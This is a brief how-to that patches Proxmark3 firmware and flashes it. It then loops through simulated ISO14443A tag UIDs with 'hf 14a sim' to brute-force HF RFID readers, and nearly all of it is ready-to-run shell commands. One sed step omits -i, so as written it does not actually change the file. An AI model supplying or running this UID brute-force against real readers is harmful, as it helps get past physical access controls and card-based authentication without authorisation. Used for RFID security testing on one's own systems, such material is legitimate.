# Patching proxmark3 to brute force HF tags

Patching and flashing

# git clone https://github.com/Proxmark/proxmark3.git
# cd proxmark3/armsrc
# sed '/#include "protocols.h"/ a #include "usb_cdc.h"' iso14443a.c
# sed -i 's/if(BUTTON_PRESS())/if(BUTTON_PRESS() || (usb_poll_validate_length() ))/g' iso14443a.c
# cd ..
# make
# client/flasher /dev/cu.usbmodem1421 armsrc/obj/fullimage.elf

Brute forcing

# for i in `seq 0 255`; do uid=`printf '%08x\n' $i`; echo "hf 14a sim 1 $uid" | client/proxmark3; sleep 3; done

References

http://www.proxmark.org/forum/viewtopic.php?id=2347
https://github.com/Proxmark/proxmark3/pull/77/files